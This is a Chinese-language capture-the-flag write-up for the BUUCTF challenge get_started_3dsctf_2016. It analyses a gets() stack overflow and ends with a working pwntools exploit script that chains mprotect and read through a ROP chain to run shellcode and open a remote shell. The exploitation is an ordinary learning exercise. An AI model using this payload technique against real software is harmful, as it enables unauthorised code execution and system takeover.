解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2shellcode(栈溢出执行shellcode)]]
获得shell或flag:[[利用shellcode获得shell]]
学到的知识:
[[mprotect函数(运行内存权限修改)]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file get_started_3dsctf_2016
get_started_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=get_started_3dsctf_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 1991) Symbols No 0 0get_started_3dsctf_2016
libc版本:
wp借鉴:(22条消息) [BUUCTF]PWN11——get_started_3dsctf_2016_Angel~Yan的博客-CSDN博客_get_started_3dsctf_2016
核心伪代码分析:
存在利用的的代码:
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
分析:
本地打法:
此题目有个后门函数get_flag(int a1, int a2),在本地创建flag.txt,就可以利用栈溢出泄露flag,地址利用0x80489B8可以绕过if从而成功,因为if的条件无法满足所以只有绕过才可以。(但打远程时无用)
远程打法:
利用栈溢出开启某一个空白内存的可执行权限,将shellcode写入并执行即可获得主机权限。
利用mprotect函数开启可执行权限(指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍,不然无法修改权限)
再利用read函数写入shellcode,并执行。
所以栈的结构应该布置成
esp->mprotect_addr
return1_addr
arg_1
arg_2
arg_3
read_addr
return2_addr
arg_1
arg_2
arg_3
shellcode_addr
执行完mprotect函数后,esp指向return_addr无法执行下一个有参数的函数(因为无法传参)所以必须将esp指向read_addr,可以将return1_addr设置成pop…pop…pop…ret的地址。执行完后就可以将esp指向read_addr,写入shellcode。
return2_addr同样可以将esp指向shellcode_addr,从而获得主机权限。
脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')
elf = ELF('./get_started_3dsctf_2016')
pwnfile='./get_started_3dsctf_2016'
#sh=process(pwnfile)
sh=remote('node4.buuoj.cn',27051)
pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7 #开启所有权限
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = b'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
payload += p32(mem_addr)
#gdb.attach(sh)
pause()
sh.sendline(payload)
payload = asm(shellcraft.sh())
sh.sendline(payload)
sh.interactive()